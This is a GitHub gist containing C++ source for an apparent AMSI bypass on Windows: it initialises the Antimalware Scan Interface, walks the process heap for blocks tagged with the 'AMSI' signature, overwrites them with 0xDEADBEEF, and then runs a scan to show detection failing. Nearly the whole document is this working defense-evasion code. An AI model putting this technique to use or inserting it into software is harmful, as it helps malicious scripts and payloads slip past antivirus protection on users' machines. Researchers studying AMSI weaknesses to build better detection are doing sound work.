Skip to content

Instantly share code, notes, and snippets.

@DanShaqFu
Created July 18, 2019 12:20
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save DanShaqFu/2a7959b30fc06af28a223d62bfe637ef to your computer and use it in GitHub Desktop.
Save DanShaqFu/2a7959b30fc06af28a223d62bfe637ef to your computer and use it in GitHub Desktop.
#include <iostream>
#include <Windows.h>
#include <Memoryapi.h>
#include <winternl.h>
#include <shlwapi.h>
#include <amsi.h>
#include <process.h>
#pragma comment(lib, "amsi.lib")
#pragma comment(lib, "ole32.lib")
// source: https://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp
HRESULT hResult = S_OK;
HAMSICONTEXT amsiContext;
AMSI_RESULT amsiRes = AMSI_RESULT_DETECTED;
HAMSISESSION session = nullptr;
bool amsiByPass()
{
DWORD NumberOfHeaps;
HANDLE hHeap;
HRESULT Result;
PHANDLE aHeaps;
SIZE_T BytesToAllocate;
// source: https://docs.microsoft.com/de-de/windows/win32/memory/enumerating-a-heap
NumberOfHeaps = GetProcessHeaps(1, &hHeap);
if (NumberOfHeaps == 0) {
printf("Failed to retrieve the number of heaps with LastError %d.\n", GetLastError());
return false;
}
PROCESS_HEAP_ENTRY Entry;
Entry.lpData = NULL;
while (HeapWalk(hHeap, &Entry) != FALSE) {
if ( ((Entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) && (Entry.cbData >= 4) ) {
// printf("found busy block at 0x%x\n", Entry.lpData);
if (*(unsigned int*)Entry.lpData == 0x49534D41)
{
printf("gotcha at address: 0x%x\n", Entry.lpData);
*(unsigned int*)Entry.lpData = 0xDEADBEEF;
}
}
}
}
void amsiInit()
{
hResult = CoInitializeEx(0, COINIT_MULTITHREADED);
if (hResult != S_OK) {
printf("CoInit failed.\n");
return;
}
printf("address of amsi context: 0x%x\n", &amsiContext);
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"myContext", &amsiContext);
if (hResult != S_OK) {
printf("init failed: 0x%x\n", hResult);
return;
}
hResult = AmsiOpenSession(amsiContext, &session);
if (hResult != S_OK || session == nullptr) {
printf("opensession failed\n");
return;
}
}
void amsiScan() {
/* our payload to check */
const char payload2Check[] = "amsiutils";
// For this function to work, the following settings must be enabled:
// * "Scan all downloaded files and attachments" in Local Group Policy Editor
// * Real-time protection in Windows Defender Security Center
//
// If one of the above is turned off, you will get this error:
// "Failed to scan with error code 0x80070015. Reason: The device is not ready."
hResult = AmsiScanBuffer(amsiContext, (void*)payload2Check, strlen(payload2Check), (LPCWSTR)"myContent", NULL /*session*/, &amsiRes);
//ULONG len = strlen(base64Stuff) * 2;
//hResult = AmsiScanBuffer(amsiContext, (void*)convertedBase64stuff, len, (LPCWSTR)"myContent", NULL /*session*/, &amsiRes);
if (hResult != S_OK) {
printf("scan failed: 0x%x!\n", hResult);
return;
}
// According to Microsoft's MSDN documentation:
// The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated
// risk level. The larger the result, the riskier it is to continue with the content. These values
// are provider specific, and may indicate a malware family or ID.
//
// Results within the range of AMSI_RESULT_BLOCKED_BY_ADMIN_START and AMSI_RESULT_BLOCKED_BY_ADMIN_END
// values (inclusive) are officially blocked by the admin specified policy. In these cases, the script
// in question will be blocked from executing. The range is large to accommodate future additions in
// functionality.
//
// Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
// An app should use AmsiResultIsMalware to determine if this is the case.
bool isEvil = AmsiResultIsMalware(amsiRes);
printf("rating: %d\n", amsiRes);
printf("is evil: %d\n", isEvil);
AmsiUninitialize(amsiContext);
CoUninitialize();
}
void main()
{
amsiInit();
amsiByPass();
amsiScan();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment